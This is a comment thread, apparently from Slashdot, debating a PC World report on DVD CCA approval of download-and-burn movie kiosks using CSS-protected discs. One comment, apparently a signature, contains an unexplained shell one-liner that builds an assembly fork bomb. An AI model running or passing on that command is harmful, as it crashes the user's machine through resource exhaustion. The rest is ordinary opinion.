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Download And Burn Movies Available Soon
An anonymous reader writes "According to an article from PC World, a source close to the CSS Managed Recording forum said that technology which allows movies to be downloaded and burned to blank DVDs, using the same content-protection system as commercial discs, received official approval on Thursday. 'The technology will require discs that are slightly different from the conventional DVD-Rs found in shops today. The burned discs will be compatible with the vast majority of consumer DVD players ... Despite Thursday's approval, services that allow consumers to legally download and burn movies in their own homes are unlikely to appear quickly. The DVD CCA said it will be initially restricted to professional uses. These might include kiosks in retail stores where consumers can purchase and burn discs in a controlled environment.'"
I've been doing it for years.
Swing and a miss. nonstandard dvds, nice try, please come again.
The burned discs will be compatible with the vast majority of consumer DVD players ...
This is a lie. And if I learned something from history (and e.g. Sony advertising), then that this is a lie...
The DVD CCA said it will be initially restricted to professional uses. These might include kiosks in retail stores where consumers can purchase and burn discs in a controlled environment.
That's not professional use. It's a business model that will fail. If I learned something from history, then that this is one of the business models which fail because you don't confront paying customers with prison-vocabulary like "controlled environment".
Umm, because now they can offer a much larger catalogue and you have even less excuse than ever for pirating something that you claim is rare / not available locally?
So I am going to walk into Best Buy, walk up to a kiosk, pick the movie I want to watch, wait 5-10 minutes for it to download and burn on this special DVD, pay for it, and walk out? As opposed to me just grabbing the movie off the shelf and skipping the burning-downloading part?
It is much easier to code right, then to patch it up later.
using the same content-protection system as commercial discs
... ahhh, this will maybe prevent ripping? Or will there be media taxes imposed? Will I need to install special drivers to burn to or read from the discs? Would such drivers, if required, govern my PC playback and 'secure' access to the discs?
So why bother? It's been broken for over 7 years. Unless...
The technology will require discs that are slightly different from the conventional DVD-Rs found in shops today
computer store conversation
customer: hello, my son says i need some blank dvds for my holiday video
Salesman: certainly sir which would you require ?
customer: iam not sure
salesman: well is it DVD-R, DVD+R, DVD-HD, DVD-RAM, DVD+RW, DVD-RW, DVD+DL, DVD-DL, DVDRW+DL, DVDRW-DL ?
customer: erm iam not sure DVDR i was told
salesman: ok lets say its DVD-R what speed would you like?
customer: ??
salesman: 1-4x, 2-8x or 4-16x
customer: ???
salesman: and would it be an Organic layer based disc or Gold archival format ?
customer: forget it i'll just have a box of VHS tapes please
Perhaps the advantage is that you'll be able to gain access to a giant catalog of movies as opposed to simply what is in stock? Furthermore, locations could offer this huge selection of movies without even having stock?
A good example would be a kiosk at a supermarket. You could come in, choose a movie, swipe your credit card, start the burn process, when it's done, it could set it aside until you swipe your credit card again, after you are done shopping. It could use DVD-RW and predict demand for popular movies and keep recycling disks, so that if you pick a popular movie it doesn't even have to burn it. It could do this all through the night and at 10 minutes a disk (conservative estimate) could produce 144 DVDs a day. More likely it'd be closer to double that.
Even more obvious is that it could be integrated into an online service that would let you choose movies and guarantee their availability when you go to the store. Browse online then simply pick it up when you go for groceries. Convenience and instant gratification.
All this saves is retail storage space - ie it is convenient for the studios and the stores because they don't need the same warehouse and shelf space. Its not convenient for me. I can already walk to the Global Video 50 yards from my house and buy (or rent) DVDs. Except now, if its not a popular choice, I have to wait at a booth until a 4GB file downloads.
It just reinforces in my mind that consumers are merely obstacles between the studios and their money, and technology is merely a lubricant to ease the movement of money from us to them. Nothing else matters - in fact anything else is an obstacle.
Pressing real discs is much cheaper than burning DVD recordables. If you are dealing in quantities over just a few hundred, real replication is the faster, more reliable, and more economical solution. This idea makes no sense for the consumer or the business owner and there is nothing convenient about it. The only possible good that can come out of it is the increased availability of obscure DVD titles that there is currently no retail shelf space for. But it's never going to happen because this business model doesn't make sense for any business that is interested in volume: a requirement in the retail media channel. Too much overhead in terms of time, equipment, and pissed off customers stuck with useless or failing DVD recordable discs. The concept will fail before obscure titles ever are considered for this kind of duplication.
+0 Meh
>"I think that this will reduce considerably the costs for the distribution of a movie"
A DVD costs pennies to make/transport (I get plenty of them for free with magazines/etc.). Installing all the hardware/infrastructure needed for this system will cost a fortune.
No sig today...
...it is already now possible to easily rip and copy DVDs, so why even bother to protect the images. Sell the downloadable images for half the price and let people burn them! What do you gain by "protecting" them?!
...that perhaps this isn't supposed to succeed? Think about it; the studios want this to happen. First, they say "downloadable and burnable movies for the masses!" Second, they come up with a business model designed to fail and a process designed to be less convenient for the consumer. Third, sales end up in the gutter. Fourth, they discontinue offering movies in this manner. Fifth, anytime someone starts talking about how movies should we should be able to download movies and burn them to discs, the studios point at this and say that the model is unfeasable. Sixth, they are able to label almost anyone who has a movie on a disc that wasn't burned by them as a pirate.
I SAY WHAT IS LEGAL IN MY OWN HOME.
The preferred argument of wife-beaters everywhere!
The technology will require discs that are slightly different from the conventional DVD-Rs found in shops today
You can bet those disks, which cost them a nickel to make, will cost you $7 apiece. They are not going to stop robbing us, they are just trying to make it less obvious.
I work for the Department of Redundancy Department.
I don't think they're as smart as that. And most of the people involved will see it as an interesting technical project to make drives and disks with writeable CSS (if they are engineers), or a chance to sell some of their drives/disks at a massive markup compared to normal DVD ons (if they are sales guys). And the people at the top will go through the motions of testing a new distribution method.
The requirement that people burn in stores rather than at home is inevitable once they decided to use non standard disks with writeable CSS. Unfortunately, that will probably make this scheme sink like DivX.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Mods, this is NOT a troll. It is a really good point.
At what point does the "legal in my own home" argument fail to hold water? And if it fails to work at some point, what does that say about the entire argument?
For example, is it legal to shoot heroin in your house? How about meth? Is it legal to pass counterfeit bills to your drug dealer? Can you deprive him of liberty if he calls you on it? Is murder legal in your own home? How about arson to hide the evidence of the previous "legal" activities?
If your argument fails at some point in that chain, does it continue to work for your original "legal in my own home" actions?
> For example, is it legal to shoot heroin in your house? How about meth?
It sure as hell should be.
How about "victimless" or "consensual" crimes should be legal in your own home? In fact, how about we just get rid of consensual crimes altogether?
Still, for those rare dvd's one does want to own, why would you want a shit burned DVD with some crap injet label instead of a slick case with insert?
while you're ranting on about your military/intellectual property/industrial complex, you may want to consider:
c hology)
http://en.wikipedia.org/wiki/Rationalization_(psy